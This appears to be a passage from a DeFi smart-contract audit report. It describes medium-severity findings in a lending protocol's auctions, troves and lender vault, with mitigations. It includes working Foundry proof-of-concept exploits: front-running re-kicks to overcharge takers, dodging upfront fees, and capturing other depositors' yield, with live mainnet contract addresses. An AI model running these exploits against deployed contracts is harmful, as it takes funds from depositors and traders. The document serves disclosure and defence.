vm.stopPrank();

assertEq(attackerShares, attackerPrincipal, "shares did
not mint at false 1:1 PPS");
assertEq(lender.profitLimitRatio(), BPS, "non-production
health check");
assertEq(lender.profitMaxUnlockTime(), 4 days, "non-
production unlock period");

// Anyone can invoke the configured on-chain Keeper.
Reporting restores
// the omitted debt to totalAssets and locks the
resulting profit.
vm.prank(ATTACKER);
(uint256 reportedProfit, uint256 reportedLoss) =
IKeeper(lenderFactory.KEEPER()).report(address(lender));

assertGt(reportedProfit, 0, "report did not recognize
omitted debt");
assertEq(reportedLoss, 0, "unexpected report loss");
assertLe(reportedProfit, attackerPrincipal, "health-check
precondition not met");

uint256 unlockDate = lender.fullProfitUnlockDate();
assertGt(unlockDate, block.timestamp, "reported profit
was not locked");
vm.warp(unlockDate);

uint256 attackerClaim =
lender.convertToAssets(attackerShares);
assertGt(
    attackerClaim,
    attackerPrincipal,
    "attacker did not capture the previously omitted
debt"
);

// Realize the gain through the same redemption/auction
route. The
// auction buyer is independent; its payment, not a
balance assigned to
// the attacker, supplies the non-idle part of the
attacker's claim.
uint256 attackerAuctionId = dutchDesk.nonce();
vm.prank(ATTACKER);
lender.redeem(attackerShares, ATTACKER, ATTACKER);

```

```

    assertTrue(auction.is_active(attackerAuctionId), "exit
    auction was not kicked");
    takeAuction(attackerAuctionId);

    assertGt(
        borrowToken.balanceOf(ATTACKER),
        attackerBalanceBefore,
        "attacker failed to realize a borrow-token profit"
    );
}

    /// @dev Equal-rate Troves are appended with a tail hint so
    preparation is
    /// linear rather than repeatedly searching the whole sorted
    list.
    function _openTrove(
        address borrower,
        uint256 ownerIndex,
        uint256 collateralAmount,
        uint256 borrowAmount,
        uint256 annualInterestRate,
        uint256 upperHint,
        uint256 lowerHint,
        bool forwardLoanToAttacker
    ) internal {
        airdrop(address(collateralToken), borrower,
        collateralAmount);

        vm.startPrank(borrower);
        collateralToken.approve(address(troveManager),
        collateralAmount);
        troveManager.open_trove(
            ownerIndex,
            collateralAmount,
            borrowAmount,
            upperHint,
            lowerHint,
            annualInterestRate,
            type(uint256).max,
            0,
            0
        );
        if (forwardLoanToAttacker) {
            // Consolidate this attacker-controlled borrower's
            real loan proceeds.
            borrowToken.transfer(ATTACKER, borrowAmount);
        }
        vm.stopPrank();
    }
}

```

Command:


```
test -n "$ETH_RPC_URL" || exit 1; uv run forge test --match-path
test/PartialRedemptionCachedAssetsPOC.t.sol --match-test
test_partialRedemptionMintsDiscountedShares -vv
```

Impact:

PASS: partial redemption leaves independent borrower debt unaccounted while cached assets become zero. The attacker mints discounted shares and ultimately realizes more USDC than their deposited principal.

M-03 Permissionless re-kicks can reprice stale takes above their quoted cost [Medium]

Status

Unresolved

Severity

● Severity: Medium

≈

● Impact: Medium

×

● Likelihood: Medium

Summary

The absence of a taker-supplied payment ceiling in `take()` will cause a taker to pay more buy tokens than quoted when submitting a transaction, as an adversary will front-run an about-to-execute `take()` with a permissionless `re_kick()` that resets the same auction ID to a higher oracle-derived starting price and causes the victim's unchanged calldata to execute against the new epoch without any check that `needed_amount` remains within the originally quoted cost.

Root Cause

- In `src/auction.vy:358–440` the `take()` function accepts only `max_take_amount` to limit the quantity of sell token purchased but provides no `max_needed_amount` or `max_price` parameter to constrain the buy-token payment or per-token price. The function calculates `needed_amount` from current storage and `block.timestamp` after transaction execution begins, then transfers that amount without comparing it to any user-defined upper bound.
- In `src/auction.vy:308–350` and `src/dutch_desk.vy:153–178` the `re_kick()` functions are permissionless and can reset an inactive auction's `kick_timestamp`, `starting_price`, and `minimum_price` immediately before a pending `take()`, breaking the otherwise monotonic-price assumption and allowing an upward price discontinuity between transaction submission and execution.

Internal Pre-Conditions

1. An auction needs to have nonzero `current_amount` remaining after partial fills or during its initial epoch.
2. The auction's price needs to reach the point where the next decay step would be below `minimum_price` or where `auction_length` has elapsed, making the auction inactive before the victim's transaction executes.
3. The proceeds receiver or another party needs to observe a pending `take()` transaction in the mempool that is about to cross the inactivity boundary.
4. The victim needs to have granted `Auction` an allowance exceeding the originally quoted `needed_amount` and must hold sufficient buy tokens to cover the repriced payment.

External Pre-Conditions

1. The protocol configuration needs to include a `re_kick_starting_price_buffer_percentage` that is greater than or equal to `1.0e18` (as validated in `src/factory.vy:257-265`), which can introduce an upward price jump at re-kick. The deployed market uses `1.001e18` for a roughly 1.1% increase at the price-floor boundary.
2. The victim's transaction needs to arrive at a block whose timestamp makes the old epoch inactive, either because `auction_length` has elapsed or because the next decay step is below `minimum_price`.
3. The block needs to contain ordering such that `DutchDesk.re_kick(auction_id)` executes before the victim's `take()`.

Attack Path

1. A realistic auction is kicked with meaningful collateral remaining and a fixed proceeds receiver controlled by or benefiting the attacker (for example, through a redemption or shortfall liquidation that naturally assigns the receiver).
2. The victim observes a low current price near the last takeable step or duration boundary and quotes a `needed_amount` based on that price.
3. The victim submits `take(auction_id, max_take_amount, receiver, data)` with `max_take_amount` constrained to the desired collateral quantity but no payment ceiling. The victim has previously granted a persistent allowance exceeding the quote.
4. Before the victim's transaction executes, the next block timestamp makes the old epoch inactive because `auction_length` has elapsed or the next decay step is below `minimum_price` as computed by `_get_price()` in `src/auction.vy:493-532`.

5. The attacker or another party observes the pending `take()` and orders `dutchDesk.re_kick(auction_id)` before it in the same block. This succeeds because the auction is now inactive and `current_amount` is nonzero, satisfying the preconditions in `src/auction.vy:333-338`.
6. The re-kick calls `_get_prices()` in `src/dutch_desk.vy:186-207`, samples the fresh oracle price, applies `re_kick_starting_price_buffer_percentage`, and resets `kick_timestamp`, `starting_price`, and `minimum_price` in storage.
7. The victim's unchanged `take()` executes next. Because the auction is now active again with the new `kick_timestamp`, the call proceeds past the `assert self._is_active(auction), "!active"` check at `src/auction.vy:375`.
8. `take()` calculates `needed_amount` via `_get_amount_needed()` at `src/auction.vy:381`, which uses the new `starting_price` and `kick_timestamp` from storage. No comparison is made against the victim's quote.
9. The function transfers collateral to the victim, optionally invokes the callback, then pulls `needed_amount` from the victim's allowance at `src/auction.vy:404-416` and distributes it to the receiver up to `maximum_amount` and any surplus to `surplus_receiver`.

Impact

A taker pays materially more buy tokens than the price authorized when preparing and submitting the transaction. The loss is bounded by the chosen sell-token quantity, the taker's balance, and ERC-20 allowance, but is not bounded by any calldata field. The deployed market configuration permits an approximately 1.1% upward jump at the price-floor boundary; larger jumps can occur if the oracle price increases between epochs or if a market is configured with a higher `re_kick_starting_price_buffer_percentage`. The taker still receives the requested collateral, so the overpayment represents adverse execution rather than total loss of funds. The proceeds receiver captures payments up to `maximum_amount` and may reach that cap sooner than expected; any surplus above the cap accrues to the `surplus_receiver` (the Lender). A solver or taker relying on persistent approvals and public mempool ordering is exposed to this repricing at deterministic duration and decay-step boundaries.

Affected Code

`src/auction.vy:308-350`, `src/auction.vy:358-440`

- `re_kick()`
- `take()`
- `max_take_amount`

- `needed_amount`

src/auction.vy:461-532

- `_get_amount_needed()`
- `_get_price()`

src/dutch_desk.vy:153-178, src/dutch_desk.vy:186-207

- `re_kick()`
- `_get_prices()`

src/factory.vy:257-265

- `re_kick_starting_price_buffer_percentage`
- auction parameter validation

Mitigation

Add a mandatory `max_needed_amount` (or `max_price`) parameter to `take()` and revert before transferring collateral or invoking the callback when the freshly calculated `needed_amount` exceeds it. Bind this check to the actual `take_amount` so partial fills are handled correctly. For stronger epoch protection, also expose and require an expected `kick_timestamp` or monotonically increasing epoch nonce so a take quoted against an earlier epoch reverts after any re-kick even if its payment ceiling happens to be loose.

Proof-of-Concept

``test/ReKickStaleTakePOC.t.sol`:`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./Base.sol";

/// @notice PoC: a permissionless re-kick makes already-signed
take calldata pay
/// a higher, uncapped amount under the same auction ID.
contract ReKickStaleTakePOC is Base {
    address internal constant LIVE_AUCTION =
0x7d066Db446eC745ccC4454730a64446c3e03E659;
    address internal constant LIVE_DUTCH_DESK =
0xF679c377a6230830bf15D926d14793f45840D070;

    address internal attacker = makeAddr("auction proceeds
receiver / re-kicker");
    address internal victim = makeAddr("solver with persistent
allowance");

    function setUp() public override {
```

```

        // Reproduce the deployed market's immutable auction
configuration.
        // Base uses its pinned mainnet fork so its deterministic
local fixture
        // does not collide with later mainnet deployments.
        minimumPriceBufferPercentage = 0.99e18;
        startingPriceBufferPercentage = 1e18;
        reKickStartingPriceBufferPercentage = 1.001e18;
        stepDuration = 60;
        stepDecayRate = 1;
        auctionLength = 1 days;
        Base.setUp();
    }

    function test_staleTakeFrontRunByPermissionlessReKick()
public {
        // Confirm the deployment artifact's contracts and
relevant immutable
        // configuration on a latest-state mainnet fork, then
return to the
        // isolated pinned fork containing the PoC market.
        uint256 pocFork = vm.activeFork();
        uint256 liveFork =
vm.createFork(vm.envString("ETH_RPC_URL"));
        vm.selectFork(liveFork);
        assertGt(LIVE_AUCTION.code.length, 0, "live Auction
missing");
        assertGt(LIVE_DUTCH_DESK.code.length, 0, "live DutchDesk
missing");
        assertEq(IAuction(LIVE_AUCTION).papi(), LIVE_DUTCH_DESK,
"live wiring differs");
        assertEq(IAuction(LIVE_AUCTION).step_duration(), 60,
"live step differs");
        assertEq(IAuction(LIVE_AUCTION).step_decay_rate(), 1,
"live decay differs");
        assertEq(IAuction(LIVE_AUCTION).auction_length(), 1 days,
"live length differs");
        assertEq(
            IDutchDesk(LIVE_DUTCH_DESK).minimum_price_buffer_percentage(),
                0.99e18,
                "live floor differs"
        );
        assertEq(
            IDutchDesk(LIVE_DUTCH_DESK).re_kick_starting_price_buffer_percent
age(),
                1.001e18,
                "live re-kick buffer differs"
        );
        vm.selectFork(pocFork);

```

```

uint256 auctionId = dutchDesk.nonce();
uint256 kickAmount = COLLATERAL_TOKEN_PRECISION; // one
collateral token
uint256 oraclePrice = priceOracle.get_price(false);
uint256 maximumAmount =
    kickAmount * oraclePrice / COLLATERAL_TOKEN_PRECISION
/ auction.buy_token_scaler();

// Realistic redemption-auction fixture. Only this setup
action impersonates
// the Trove Manager; the exploit's re-kick below is an
ordinary public call.
airdrop(address(collateralToken), address(troveManager),
kickAmount);
vm.prank(address(troveManager));
dutchDesk.kick(kickAmount, maximumAmount, attacker);

// A recurring solver has ample own capital and a
persistent allowance.
// Neither its allowance nor its take calldata encodes
its observed quote.
airdrop(address(borrowToken), victim, maximumAmount * 2);
vm.prank(victim);
borrowToken.approve(address(auction), type(uint256).max);

// Find the deterministic first decay step below the 99%
floor.
IAuction.AuctionInfo memory info =
auction.auctions(auctionId);
uint256 inactiveAt;
for (uint256 elapsed = stepDuration; elapsed <=
auctionLength; elapsed += stepDuration) {
    uint256 timestamp = info.kick_timestamp + elapsed;
    if (auction.get_price(auctionId, timestamp) == 0) {
        inactiveAt = timestamp;
        break;
    }
}
assertGt(inactiveAt, 0, "auction never crossed floor");

// The victim quotes and prepares take(auctionId,
kickAmount, victim, "")
// immediately before the public re-kick boundary.
vm.warp(inactiveAt - 1);
assertTrue(auction.is_active(auctionId), "expected last
active step");
uint256 staleQuote = auction.get_needed_amount(auctionId,
kickAmount, block.timestamp);
assertGt(staleQuote, 0, "invalid stale quote");
assertLt(staleQuote, maximumAmount, "stale quote should
remain below redemption cap");
bytes memory pendingTake =

```

```

        abi.encodeCall(IAuction.take, (auctionId, kickAmount,
victim, bytes(""));

        vm.warp(inactiveAt);
        assertFalse(auction.is_active(auctionId), "expected
inactive auction");

        // Without interference, that exact pending call cannot
execute here.
        vm.prank(victim);
        (bool successWithoutReKick,) =
address(auction).call(pendingTake);
        assertFalse(successWithoutReKick, "stale call
unexpectedly succeeded without re-kick");

        // The proceeds receiver front-runs permissionlessly and
resets the same ID
        // to 100.1% of the fresh oracle price.
        vm.prank(attacker);
        dutchDesk.re_kick(auctionId);
        uint256 freshQuote = auction.get_needed_amount(auctionId,
kickAmount, block.timestamp);
        assertGt(freshQuote, staleQuote, "re-kick did not
increase victim payment");
        assertGt(freshQuote, maximumAmount, "reset quote should
cross redemption cap");

        _executeAndAssertImpact(pendingTake, kickAmount,
staleQuote, freshQuote, maximumAmount);
    }

    function _executeAndAssertImpact(
        bytes memory pendingTake,
        uint256 kickAmount,
        uint256 staleQuote,
        uint256 freshQuote,
        uint256 maximumAmount
    ) internal {
        uint256 victimBuyBefore = borrowToken.balanceOf(victim);
        uint256 victimCollateralBefore =
collateralToken.balanceOf(victim);
        uint256 attackerBefore = borrowToken.balanceOf(attacker);
        uint256 lenderBefore =
borrowToken.balanceOf(address(lender));

        // The victim's unchanged stale calldata now succeeds.
take() has no
        // max_needed_amount and pulls the larger freshly
calculated payment.
        vm.prank(victim);
        (bool successAfterReKick,) =
address(auction).call(pendingTake);

```



```

        assertTrue(successAfterReKick, "same stale call failed
after re-kick");

        uint256 victimPaid = victimBuyBefore -
borrowToken.balanceOf(victim);
        uint256 attackerGain = borrowToken.balanceOf(attacker) -
attackerBefore;
        uint256 lenderGain =
borrowToken.balanceOf(address(lender)) - lenderBefore;

        assertEquals(victimPaid, freshQuote, "victim did not pay
reset quote");
        assertGt(victimPaid, staleQuote, "stale quote
unexpectedly bounded payment");
        assertEquals(
            collateralToken.balanceOf(victim) -
victimCollateralBefore,
            kickAmount,
            "victim did not receive selected collateral"
        );
        assertGt(attackerGain, staleQuote, "attacker did not
capture adverse execution");
        assertEquals(attackerGain, maximumAmount, "receiver did not
capture remaining cap");
        assertEquals(lenderGain, freshQuote - maximumAmount,
"incorrect surplus");
        assertEquals(attackerGain + lenderGain, victimPaid, "payment
not delivered to beneficiaries");
        assertEquals(
            (attackerGain - staleQuote) + lenderGain,
            freshQuote - staleQuote,
            "victim overpayment was not fully captured"
        );
    }
}

```

Command:

```

uv run forge test --match-path test/ReKickStaleTakePOC.t.sol --match-
test test_staleTakeFrontRunByPermissionlessReKick -vv

```

Impact:

PASS: permissionless re-kick makes identical stale take calldata execute at a higher uncapped price. The victim overpays, with the increase captured by the attacker-controlled proceeds receiver and Lender.

M-04 Borrower will underpay upfront fees by issuing debt before adjusting rate [Medium]

Status

Unresolved

Severity

● Severity: Medium

≈

● Impact: Medium

×

● Likelihood: Medium

Summary

`borrow()` leaving `last_interest_rate_adj_time` unchanged after increasing debt will cause material protocol fee undercollection for the system as a borrower with a matured rate-adjustment cooldown will enlarge their Trove at a low rate and immediately move all debt to a high rate without paying the upfront fee that would apply if the debt were issued at the final rate.

Root Cause

- In `src/trove_manager.vy:604-713` the `borrow()` function updates `last_debt_increase_time` and `last_debt_update_time` but does not update `last_interest_rate_adj_time`, allowing an expired cooldown to persist after debt is added.
- In `src/trove_manager.vy:1501-1532` the `_get_upfront_fee()` function calculates the fee using the Trove's annual interest rate at the start of the borrow operation, even though that rate can be changed immediately after the debt is issued.
- In `src/trove_manager.vy:784-879` the `adjust_interest_rate()` function determines whether to charge an upfront fee solely by comparing `block.timestamp` to `trove.last_interest_rate_adj_time + self.interest_rate_adj_cooldown` without accounting for debt added after that timestamp.

Internal Pre-Conditions

1. Borrower needs to own an ACTIVE Trove with `last_interest_rate_adj_time + interest_rate_adj_cooldown` less than or equal to current block timestamp.
2. Trove needs to have a low `annual_interest_rate` (at or near `min_annual_interest_rate`).
3. Trove needs to have sufficient collateral to support the enlarged debt and final state under the `minimum_collateral_ratio` constraint.
4. System needs to have available lending liquidity or redeemable collateral to satisfy the borrow request.

External Pre-Conditions

None required.

Attack Path

1. Borrower calls `borrow()` on their matured low-rate Trove with a large `debt_amount`, specifying a `max_upfront_fee` that accepts only the low-rate calculation.
2. `_get_upfront_fee()` computes the fee by including the new debt in the weighted average at the Trove's current low rate, producing a materially lower system average rate and correspondingly lower fee.
3. `borrow()` stores the enlarged debt, updates `last_debt_increase_time` to `block.timestamp`, but leaves `last_interest_rate_adj_time` at its old, matured value.
4. Borrower immediately calls `adjust_interest_rate()` in the same transaction with a high `new_annual_interest_rate` and `max_upfront_fee = 0`.
5. The cooldown check at `src/trove_manager.vy:816–817` evaluates to false because it still references the old adjustment timestamp, so the function enters the zero-fee branch.
6. `adjust_interest_rate()` updates the Trove's rate to the high value, reinserts it into the sorted list, and charges no upfront fee, leaving the borrower with the same principal and high redemption priority while permanently avoiding most of the upfront fee.

Impact

Borrowers systematically underpay upfront protocol fees whenever they use a mature Trove cooldown to issue debt at a low rate and then immediately adjust to a high rate. The fee shortfall scales with the borrowed amount and the rate difference. With a 0.1% minimum rate and 250% maximum rate, the discrepancy can exceed an order of magnitude. The borrower records materially less debt than a user who adjusts rate before borrowing the same amount at the high rate, reducing both the upfront protocol fee reserve and future interest obligations. The exploit is atomic, requires no helper Trove or oracle failure, and functions on every positive upfront interest period.

Affected Code

`src/trove_manager.vy:604-713`

- `borrow()`
- `last_debt_increase_time`
- `last_interest_rate_adj_time`

src/trove_manager.vy:784-879

- `adjust_interest_rate()`

src/trove_manager.vy:1501-1532

- `_get_upfront_fee()`

Mitigation

Set `trove.last_interest_rate_adj_time = convert(block.timestamp, uint64)` in `borrow()` immediately after updating the debt, so any subsequent rate adjustment within the cooldown period enters the fee-bearing branch and prices the newly issued debt at its final rate. For cleaner economics, provide a combined atomic operation that calculates one upfront fee from the final post-adjustment weighted-debt state, or ensure that any rate adjustment during the post-borrow cooldown computes an incremental fee accounting for both the newly borrowed debt and the final rate.

Proof-of-Concept

`test/PreChangeRateAccountingPOC.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./Base.sol";

/// @notice PoC: a mature low-rate Trove can enlarge its debt at
/// the low rate and
/// then immediately move all of that debt to a high rate without
/// paying the
/// upfront fee that applies when the same debt is issued at the
/// final rate.
contract PreChangeRateAccountingPOC is Base {

    function test_PoC_borrowBeforeRateChangeUndercollectsFee()
    public {
        uint256 borrowAmount = troveManager.min_debt() * 100;
        uint256 totalPrincipal = borrowAmount * 2;
        uint256 lowRate =
        troveManager.min_annual_interest_rate();
        uint256 highRate = lowRate * 100; // 10%, within the
        configured bounds.

        // Real lender liquidity funds both the initial loan and
        its increase.
        mintAndDepositIntoLender(userLender, totalPrincipal);

        // Give the borrower legitimate initial collateral
        sufficient for both
```

```

    // branches, including their differently sized upfront
    fees.
    uint256 collateral = (totalPrincipal *
(troveManager.minimum_collateral_ratio() * 2)
    / BORROW_TOKEN_PRECISION) * ORACLE_PRICE_SCALE /
priceOracle.get_price();
    uint256 troveId = mintAndOpenTrove(userBorrower,
collateral, borrowAmount, lowRate);

    // The existing Trove has legitimately completed its
    adjustment cooldown.
    skip(troveManager.interest_rate_adj_cooldown());
    uint256 feesBefore =
troveManager.unclaimed_protocol_fees();
    uint256 state = vm.snapshot();

    // Baseline: choose the final rate first, then issue the
    new debt. The
    // issuance is correctly quoted using the high post-
    operation rate.
    vm.prank(userBorrower);
    troveManager.adjust_interest_rate(troveId, highRate, 0,
0, 0);

    vm.prank(userBorrower);
    troveManager.borrow(troveId, borrowAmount,
type(uint256).max, 0, 0);

    uint256 baselineFee =
troveManager.unclaimed_protocol_fees() - feesBefore;
    uint256 baselineDebt = troveManager.troves(troveId).debt;

    assertTrue(vm.revertTo(state), "snapshot restore
failed");

    // Exploit: issue at the old low rate. borrow() updates
    only
    // last_debt_increase_time, so the already-mature
    adjustment timestamp
    // still permits an immediate, free move of all enlarged
    debt to 10%.
    vm.prank(userBorrower);
    troveManager.borrow(troveId, borrowAmount,
type(uint256).max, 0, 0);

    ITroveManager.Trove memory afterBorrow =
troveManager.troves(troveId);
    assertEq(afterBorrow.last_debt_increase_time,
block.timestamp);
    assertLt(afterBorrow.last_interest_rate_adj_time,
afterBorrow.last_debt_increase_time);

```

```

        uint256 feesBeforeFreeAdjustment =
troveManager.unclaimed_protocol_fees();
        vm.prank(userBorrower);
        troveManager.adjust_interest_rate(troveId, highRate, 0,
0, 0);

        uint256 exploitFee =
troveManager.unclaimed_protocol_fees() - feesBefore;
        ITroveManager.Trove memory exploitedTrove =
troveManager.troves(troveId);

        // Concrete impact: both paths deliver the same principal
and finish at
        // the same rate, but the exploit leaves materially less
protocol fee
        // reserve and correspondingly less debt owed by the
borrower.
        assertEq(troveManager.unclaimed_protocol_fees(),
feesBeforeFreeAdjustment, "rate change was not free");
        assertGt(baselineFee, exploitFee * 20, "fee was not
materially undercollected");
        assertLt(exploitedTrove.debt, baselineDebt, "borrower did
not save debt");
        assertEq(exploitedTrove.annual_interest_rate, highRate);
        assertEq(borrowToken.balanceOf(userBorrower),
totalPrincipal);
        assertEq(troveManager.total_weighted_debt(),
exploitedTrove.debt * highRate);
    }
}

```

Command:

```

uv run forge test --match-path test/PreChangeRateAccountingPOC.t.sol
--match-test test_PoC_borrowBeforeRateChangeUndercollectsFee -vv

```

Impact:

PASS: The attacker receives equal principal and reaches the same final 10% rate while incurring over 20 times less incremental protocol fees and less debt than the correctly ordered baseline.

M-05 Just-in-time depositors capture previously accrued lender interest [Medium]

Status

Unresolved

Severity

● Severity: Medium

≈

● Impact: Medium

×

● Likelihood: Medium

Summary

Lender deposits are priced using cached `totalAssets` without synchronizing accrued Trove debt, which will cause yield dilution for existing depositors as an attacker will deposit immediately before triggering a report through the permissionless keeper to capture pre-entry interest at stale share prices.

Root Cause

- In `src/lender/Lender.sol:66–71` the `availableDepositLimit()` function reads `TokenizedStrategy.totalAssets()` without synchronizing Trove debt, allowing deposit and mint operations to use stale asset figures that exclude accrued interest.
- In `src/lender/Lender.sol:129–134` the `_harvestAndReport()` function is the only path that calls `TROVE_MANAGER.sync_total_debt()` to recognize accrued interest, creating a timing gap between continuous interest accrual and its inclusion in share pricing.
- The choice to deploy lenders with a permissionless keeper in `src/lender/LenderFactory.sol:17–22,37–60` is a mistake as it allows attackers to atomically deposit and trigger the report that will distribute locked profit to their newly minted shares.

Internal Pre-Conditions

1. Existing depositors need to have supplied liquidity to the lender.
2. Borrowers need to have opened Troves using the lender's capital with a positive interest rate.
3. Time needs to pass without a report for interest to accumulate in `troveManager.total_weighted_debt` while `lender.totalAssets()` remains stale.
4. The lender's `depositLimit` needs to be greater than current cached `totalAssets` to allow the attacker's deposit.

External Pre-Conditions

1. The attacker needs access to capital equal to or greater than the lender's existing deposits for the duration of the `profitMaxUnlockTime` period.
2. Sufficient idle liquidity needs to remain in the lender after the attacker's deposit to allow redemption after profit unlocks.

Attack Path

1. Attacker monitors the lender for accumulated unreported interest by comparing live Trove debt from

- `troveManager.get_trove_debt_after_interest()` against the lender's cached `totalAssets` .
2. Attacker calls `lender.deposit()` with a large amount, receiving shares priced at the stale pre-interest rate because `availableDepositLimit()` and inherited deposit logic read only cached `totalAssets` .
 3. Attacker immediately calls `KEEPER.report(address(lender))` in the same transaction, triggering `_harvestAndReport()` which synchronizes debt via `TROVE_MANAGER.sync_total_debt()` and reports the accumulated interest as profit.
 4. The reported profit is locked and begins unlocking over the configured `profitMaxUnlockTime` , but the attacker's newly minted shares receive a pro-rata portion of this historical yield as the locked profit increases the value of all outstanding shares.
 5. After the unlock period elapses, attacker calls `lender.redeem()` to withdraw the deposited capital plus the captured pre-entry interest.

Impact

Attackers dilute existing depositors by capturing yield that accrued before the attacker supplied any capital. The verified transfer scales with unreported interest and attacker capital; larger deposits relative to existing assets capture a greater share of historical profit. The default four-day unlock requires the attacker to hold capital through that period but does not prevent the value transfer because profit locking distributes gains to all shares rather than reserving them for shares present when profit accrued. If management changes `profitMaxUnlockTime` to zero, the attack becomes atomic and can use flash liquidity.

Affected Code

src/lender/Lender.sol:66-71, src/lender/Lender.sol:129-134

- `availableDepositLimit()`
- `_harvestAndReport()`

src/lender/LenderFactory.sol:17-22, src/lender/LenderFactory.sol:37-60

- `KEEPER` constant
- `deploy()` function

src/trove_manager.vy:1560-1606

- `_sync_total_debt()` function

Mitigation

Implement lender-specific deposit and mint accounting that prices new shares against live reportable assets before minting. Either call a checkpoint function that synchronizes Trove debt and immediately recognizes profit before processing the deposit, or implement an entitlement-preserving lock that excludes newly minted shares from prior profit distribution. The checkpoint must reject intermediate liquidation states where debt has been removed but repayment has not settled. A plain pre-deposit report is insufficient because strategy-owned profit-lock shares later unlock value for all holders, including newly minted shares that did not contribute to the profit generation.

Proof-of-Concept

`test/StaleLenderSharePricingPoC.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./Base.sol";

contract InterestCaptureAttacker {

    IERC20 internal immutable asset;
    ILender internal immutable lender;
    IKeeper internal immutable keeper;

    constructor(IERC20 _asset, ILender _lender, IKeeper _keeper)
    {
        asset = _asset;
        lender = _lender;
        keeper = _keeper;
    }

    /// @dev One ordinary attacker transaction closes the stale-
    pricing window itself.
    function depositAndReport(
        uint256 amount
    ) external returns (uint256 shares, uint256 profit, uint256
    loss) {
        asset.approve(address(lender), amount);
        shares = lender.deposit(amount, address(this));
        (profit, loss) = keeper.report(address(lender));
    }

    function redeemAll() external returns (uint256 assets) {
        assets = lender.redeem(lender.balanceOf(address(this)),
        address(this), address(this));
    }
}
```



```

/// @notice PoC: a depositor entering after interest accrued
receives part of that pre-entry yield.
contract StaleLenderSharePricingPoC is Base {

    InterestCaptureAttacker internal attacker;
    uint256 internal victimDeposit;
    uint256 internal attackerDeposit;
    uint256 internal victimShares;
    uint256 internal attackerShares;
    uint256 internal attackerInitialBalance;
    uint256 internal reportedProfit;

    function setUp() public override {
        Base.setUp();

        // Base broadly mocks this getter for fuzz tests. The
        production value is already
        // unlimited, so remove the mock and exercise
        Lender.availableDepositLimit itself.
        vm.clearMockedCalls();
    }

    function test_justInTimeDepositorStealsIncumbentYield()
    public {
        // The production factory configures a four-day unlock.
        Keep that setting and the
        // default performance fee; neither privileged
        configuration nor a flash loan is used.
        assertEq(lender.profitMaxUnlockTime(), 4 days,
        "production unlock period changed");
        assertGt(priceOracle.get_price(), 0, "fork oracle
        unavailable");

        victimDeposit = 1_000_000 * BORROW_TOKEN_PRECISION;
        uint256 borrowed = 400_000 * BORROW_TOKEN_PRECISION;
        attackerDeposit = 500_000 * BORROW_TOKEN_PRECISION;
        uint256 annualRate = BORROW_TOKEN_PRECISION / 10; // 10%.
        attacker = new InterestCaptureAttacker(borrowToken,
        lender, IKeeper(lenderFactory.KEEPER()));

        // The incumbent supplies the market before any yield is
        generated.
        mintAndDepositIntoLender(userLender, victimDeposit);
        victimShares = lender.balanceOf(userLender);

        // A normally over-collateralized borrower deploys part
        of the lender's liquidity.
        uint256 collateralNeeded =
            (borrowed * DEFAULT_TARGET_COLLATERAL_RATIO /
            BORROW_TOKEN_PRECISION) * ORACLE_PRICE_SCALE /
        priceOracle.get_price();
    }
}

```

```
uint256 troveId = mintAndOpenTrove(userBorrower,
collateralNeeded * 10, borrowed, annualRate);

// Interest belongs economically to the incumbent because
it accrues entirely before
// the attacker enters. This view does not synchronize
the Lender's cached totalAssets.
skip(30 days);
uint256 preEntryYield =
borrowToken.balanceOf(address(lender)) +
troveManager.get_trove_debt_after_interest(troveId)
    - troveManager.unclaimed_protocol_fees() -
lender.totalAssets();
assertGt(preEntryYield, 0, "precondition: no accrued
incumbent yield");

// The attacker receives only legitimate initial capital,
then deposits at the stale
// cached PPS. No profit or final balance is seeded by
the test.
airdrop(address(borrowToken), address(attacker),
attackerDeposit);
attackerInitialBalance =
borrowToken.balanceOf(address(attacker));
uint256 staleShareQuote =
lender.previewDeposit(attackerDeposit);
uint256 reportedLoss;
(attackerShares, reportedProfit, reportedLoss) =
attacker.depositAndReport(attackerDeposit);
assertEq(attackerShares, staleShareQuote, "deposit did
not use stale quote");
assertEq(borrowToken.balanceOf(address(attacker)), 0,
"attacker capital was not deposited");

// The configured on-chain permissionless keeper now
recognizes the already-accrued
// interest. Reporting after the deposit admits the new
shares into its distribution.
assertEq(reportedLoss, 0, "unexpected report loss");
assertGt(reportedProfit, 0, "interest was not reported");
assertApproxEqAbs(reportedProfit, preEntryYield, 2,
"reported profit is not the pre-entry yield");

// Profit locking delays extraction but does not reserve
old profit for old shares.
assertApproxEqAbs(lender.convertToAssets(attackerShares),
attackerDeposit, 2, "profit was not initially locked");
vm.warp(lender.fullProfitUnlockDate());

uint256 attackerClaim =
lender.convertToAssets(attackerShares);
uint256 victimClaim =
```

```

lender.convertToAssets(victimShares);
    uint256 netProfitWithoutAttacker = reportedProfit -
(reportedProfit * lender.performanceFee() / BPS);

    assertGt(attackerClaim, attackerDeposit, "attacker did
not capture pre-entry yield");
    assertLt(
        victimClaim - victimDeposit,
        netProfitWithoutAttacker,
        "incumbent was not diluted by the just-in-time
depositor"
    );
    emit log_named_uint("Attacker's captured pre-entry
yield", attackerClaim - attackerDeposit);
    emit log_named_uint(
        "Incumbent's yield shortfall",
        netProfitWithoutAttacker - (victimClaim - victimDeposit)
    );

    // Sufficient idle liquidity was deliberately left in the
normal market, so the attacker
    // realizes the stolen yield through the ordinary ERC-
4626 redemption path.
    uint256 assetsRedeemed = attacker.redeemAll();
    assertEq(assetsRedeemed, attackerClaim, "unexpected
redemption result");
    assertGt(borrowToken.balanceOf(address(attacker)),
attackerInitialBalance, "attacker made no realized profit");
}
}

```

Command:

```

uv run forge test --match-path test/StaleLenderSharePricingPoC.t.sol
--match-test test_justInTimeDepositorStealsIncumbentYield -vv

```

Impact:

PASS: the attacker atomically deposits and reports, then realizes 987.975949 USDC of pre-entry yield after the default four-day unlock. The incumbent's measured yield shortfall is 988.626823 USDC.

M-06 Attacker will capture oracle lag value from redemptions using zero-buffer leverage self-takes [Medium]

Status

Unresolved

Severity

● Severity: Medium

≈

● Impact: Medium

×

● Likelihood: Medium

Summary

The leverage zapper's requirement that `starting_price_buffer_percentage` equals exactly `1e18` (no markup over the oracle price) to enable atomic redemption self-takes will cause lower-rate borrowers to lose collateral worth materially more at market than the debt removed from their Troves as an attacker will open or lever up a Trove when idle liquidity is exhausted, triggering redemption from victims at a lagging oracle price while atomically taking the kicked auction at that same stale price and capturing the market-to-oracle spread without competitive bidding.

